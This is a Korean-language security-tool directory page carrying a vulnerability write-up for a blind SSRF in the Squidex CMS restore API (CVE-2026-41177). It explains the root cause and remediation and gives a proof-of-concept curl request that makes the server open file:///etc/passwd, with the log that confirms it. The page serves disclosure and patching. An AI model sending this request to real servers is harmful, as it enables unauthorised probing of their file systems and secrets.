Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-41177-Squidex-CMS — CVE-2026-41177, Squidex CMS(v7.23.0 이전 버전)의 블라인드 SSRF 취약점입니다. 근본 원인 분석, 재현 단계, 로컬 파일 상호작용(LFI)과 관련된 영향 평가를 포함합니다. | Kitploit
도구/GitHubGitHub/turkios/cve-2026-41177-squidex-cms
Vulnerability AnalysisExploitationWeb SecurityLearning & Education
GitHubturkios/cve-2026-41177-squidex-cms

CVE-2026-41177-Squidex-CMS

CVE-2026-41177, Squidex CMS(v7.23.0 이전 버전)의 블라인드 SSRF 취약점입니다. 근본 원인 분석, 재현 단계, 로컬 파일 상호작용(LFI)과 관련된 영향 평가를 포함합니다.

저장소 보기
4개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-41177: Squidex CMS 블라인드 SSRF

CVE-2026-41177에 대한 기술 연구 및 분석: Squidex CMS 복원(Restore) API의 블라인드 서버 측 요청 위조(SSRF) 취약점.

취약점 개요

  • CVE ID: CVE-2026-41177
  • 영향을 받는 구성 요소: Squidex API: 백업 / 복원 엔진 (/api/apps/restore)
  • 영향을 받는 버전: < 7.23.0
  • 취약점 유형: 블라인드 SSRF (CWE-918), 로컬 파일 상호 작용 (CWE-73)

요약

Squidex 복원(Restore) API는 블라인드 서버 측 요청 위조(SSRF)에 취약합니다. 애플리케이션은 사용자가 제공한 Url 매개변수의 URI 스킴을 검증하지 못하여 file:// 프로토콜 사용을 허용합니다. 이를 통해 인증된 관리자는 백엔드 서버가 로컬 파일 시스템과 상호 작용하도록 강제할 수 있으며, 이는 로컬 파일 상호 작용(LFI) 및 내부 로그의 부수 채널 분석을 통한 민감한 시스템 정보의 잠재적 노출로 이어집니다.

세부 사항

  1. 구성: 공격자는 로컬 파일 시스템 URI(예: file:///etc/passwd)를 사용하여 "복원(Restore)" 작업을 생성합니다.
  2. 트리거: 공격자는 복원 엔드포인트에 POST 요청을 제출합니다.
  3. 실행: 백엔드는 요청을 수락하고 URL을 백그라운드 작업자()에게 전달합니다.
RestoreJob
  • 관찰: API 응답은 일반적인 204 No Content이지만, 내부 서버 로그에는 콘텐츠가 유효한 ZIP 아카이브가 아니어서 실패하기 전에 서버가 파일을 성공적으로 열고 읽었음이 드러납니다.
  • 개념 증명(PoC)

    1. 악성 요청

    다음 curl 명령을 실행합니다(<TOKEN>을 유효한 관리자 토큰으로 교체):

    root@kitploit:~
    curl -X POST http://localhost/api/apps/restore/ \
      -H 'Authorization: Bearer <TOKEN>' \
      -H 'Content-Type: application/json' \
      -d '{
        "Url": "file:///etc/passwd",
        "Name": "exploit-poc"
      }' -v
    

    2. 로그를 통한 검증

    Squidex 컨테이너 로그의 다음 오류는 내부 파일 상호 작용을 확인합니다:

    root@kitploit:~
    {
      "logLevel": "Error",
      "message": "Backup with job id 381bcfcb-3701-44d0-a8c8-ea43b3ec6271 from URL 'file:///etc/passwd' failed.",
      "exception": {
        "type": "System.IO.InvalidDataException",
        "message": "End of Central Directory record could not be found.",
        "stackTrace": "at System.IO.Compression.ZipArchive.ReadEndOfCentralDirectory()\n at System.IO.Compression.ZipArchive..ctor(Stream stream...)\n at Squidex.Domain.Apps.Entities.Backup.BackupReader..ctor(...) in BackupReader.cs:line 42\n at Squidex.Domain.Apps.Entities.Backup.TempFolderBackupArchiveLocation.OpenReaderAsync(...) in TempFolderBackupArchiveLocation.cs:line 57"
      }
    }
    

    참고: InvalidDataException은 서버가 파일의 바이트에 성공적으로 접근하고 읽었음을 확인합니다.

    영향

    이 취약점은 인증된 공격자가 다음을 수행할 수 있게 합니다:

    • 파일 시스템 정찰: 민감한 파일(예: appsettings.json, 비밀)의 존재를 확인합니다.
    • 정보 공개: 다중 테넌트 환경에서 다른 사용자의 백업 파일에 접근하는 데 잠재적으로 사용될 수 있습니다.

    해결 방법

    • 업데이트: Squidex 버전 7.23.0 이상으로 업그레이드합니다.
    • 프로토콜 화이트리스트: http:// 및 https:// 스킴만 엄격하게 허용합니다.
    • 입력 검증: 처리 전에 file:// 스킴을 사용하는 URI를 거부하는 검사를 구현합니다.
    • 안전한 IO 처리: 기본 핸들러가 사용자 제공 입력에 대해 로컬 파일 시스템 확인으로 제한되도록 합니다.

    참조

    • GitHub 보안 권고 (GHSA-45fq-w37p-qfw5)
    • 공식 CVE 레코드
    도구 다운로드